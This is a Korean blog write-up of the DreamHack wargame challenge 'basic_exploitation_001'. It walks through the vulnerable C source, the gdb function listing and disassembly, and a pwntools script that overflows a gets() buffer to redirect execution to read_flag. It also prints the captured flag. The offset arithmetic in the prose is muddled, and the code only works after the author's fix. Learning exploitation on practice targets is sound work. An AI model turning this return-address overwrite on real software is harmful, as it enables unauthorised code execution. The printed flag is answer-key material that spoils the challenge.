rsp-∞

[DreamHack] basic_exploitation_001 본문

Write-ups/system

[DreamHack] basic_exploitation_001

portrait.kim 2024. 3. 30. 12:12
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {

    puts("TIME OUT");

    exit(-1);

}


void initialize() {

    setvbuf(stdin, NULL, _IONBF, 0);

    setvbuf(stdout, NULL, _IONBF, 0);


    signal(SIGALRM, alarm_handler);

    alarm(30);

}


void read_flag() {

    system("cat /flag");

}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;

}

 

basic_exploitation_001의 c 코드 파일이다. main에서 길이를 체크하지 않는 함수인 gets(buf)가 취약점인 것을 쉽게 알 수 있다. 또한 read_flag 파일이 시스템으로 하여금 flag 파일을 읽게 하고 있으므로 read_flag 함수가 관건이라고 볼 수 있을 것 같다.

 

내가 Bomb lab을 풀면서 유용하게 썼던 info 명령어를 다시 써 보자 하는 생각이 들었다. 찾아보니 info로 프로그램의 모든 함수를 출력해서 볼 수 있다.

 

pwndbg> info functions
All defined functions:

Non-debugging symbols:

0x08048398  _init
0x080483d0  gets@plt
0x080483e0  signal@plt
0x080483f0  alarm@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  exit@plt
0x08048430  __libc_start_main@plt
0x08048440  setvbuf@plt
0x08048450  __gmon_start__@plt
0x08048460  _start
0x08048490  __x86.get_pc_thunk.bx
0x080484a0  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048530  frame_dummy
0x0804855b  alarm_handler
0x08048572  initialize
0x080485b9  read_flag
0x080485cc  main
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
0x08048654  _fini

 

플래그를 읽어 오는 함수 read_flag의 주소는 0x080485b9이다. 이제 스택 프레임의 구조를 파악해서 얼마나 많은 값을 앞에서 채우고 ret에 이 read_flag 함수의 주소를 넣어야 할지 생각해 보자.

 

pwndbg> disassemble main
Dump of assembler code for function main:

   0x080485cc <+0>:	push   ebp
   0x080485cd <+1>:	mov    ebp,esp
   0x080485cf <+3>:	add    esp,0xffffff80
   0x080485d2 <+6>:	call   0x8048572 <initialize>
   0x080485d7 <+11>:	lea    eax,[ebp-0x80]
   0x080485da <+14>:	push   eax
   0x080485db <+15>:	call   0x80483d0 <gets@plt>
   0x080485e0 <+20>:	add    esp,0x4
   0x080485e3 <+23>:	mov    eax,0x0
   0x080485e8 <+28>:	leave  
   0x080485e9 <+29>:	ret    
End of assembler dump.

 

main을 디스어셈블해 보니 이와 같다. 스택의 기본 구조를 생각해 보면 128 바이트의 버퍼, 4바이트의 SFP와 ret이 있다. 결국 gets 함수를 통해 0x132를 입력하고 그 다음 메모리 주소에 닿으면 ret이 실행되므로 그 자리에 read_flag 함수의 주소를 넣으면 될 것 같다. 익스플로잇 코드를 짜 보자.

 

from pwn import *
p=remote("host3.dreamhack.games", 18290)

elf = ELF('./basic_exploitation_001')
read_flag = elf.symbols['read_flag']

payload=b'A'*0x128
payload+=b'B'*0x4
payload+=p32(read_flag)

p.sendline(payload)
p.interactive()

 

다음과 같이 익스플로잇 코드를 작성하였다. 그러나 이를 실행하는 과정에서 자꾸 Got EOF while reading in interactive 오류가 발생했다. payload에서 버퍼와 SFP에 A와 B를 넣는 과정에서 앞에 0x를 지워 주며 해결했다.

 

$ python3 exploit001.py
[+] Opening connection to host3.dreamhack.games on port 18290: Done
[*] '/home/chaehyeonkim/Documents/35c38fa8-c2db-4f16-853b-07a9c63b9280/basic_exploitation_001'

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

[*] Switching to interactive mode
DH{01ec06f5e1466e44f86a79444a7cd116}[*] Got EOF while reading in interactive

 

DH{}에서 플래그를 발견할 수 있다.

'Write-ups > system' 카테고리의 다른 글

[DreamHack] shell_basic  (0) 2024.05.12
[DreamHack] basic_exploitation_000  (0) 2024.03.30
[DreamHack] Return Address Overwrite 쉘 획득하기  (0) 2024.03.30
[Bomb Lab] Phase_3  (0) 2024.03.23
[Bomb Lab] Phase_2  (0) 2024.03.23